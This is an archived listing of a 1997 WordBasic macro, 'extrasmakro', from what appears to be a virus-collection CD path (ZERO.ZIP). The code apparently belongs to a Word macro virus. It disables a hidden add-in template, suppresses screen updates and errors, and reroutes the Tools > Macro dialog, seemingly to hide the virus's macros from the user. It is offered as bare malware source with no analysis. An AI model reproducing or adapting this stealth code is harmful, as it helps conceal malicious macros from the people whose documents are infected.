home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0397.ZIP / MVUPDAT8.ZIP / ZERO.ZIP / MACRO8.TXT < prev    next >
Text File  |  1997-02-17  |  426b  |  25 lines
  1. 'Macro name: extrasmakro'
  2.  
  3. Sub MAIN
  4. If Window() And IsMacro() = 0 Then a = Val(GetDocumentVar$("tk"))
  5. b = GetAddInId(DefaultDir$(8) + "\0.dot")
  6. ScreenUpdating 0
  7. If a Then
  8. If DocMaximize() Then
  9. DocMaximize
  10. c = 1
  11. EndIf
  12. FileNew
  13. EndIf
  14. If b Then AddInState 1, 0
  15. Dim d As ToolsMacro
  16. On Error Resume Next
  17. Dialog d
  18. If a Then
  19. FileClose
  20. If c Then DocMaximize
  21. EndIf
  22. If b Then AddInState 1, 1
  23. ToolsMacro d
  24. End Sub
  25.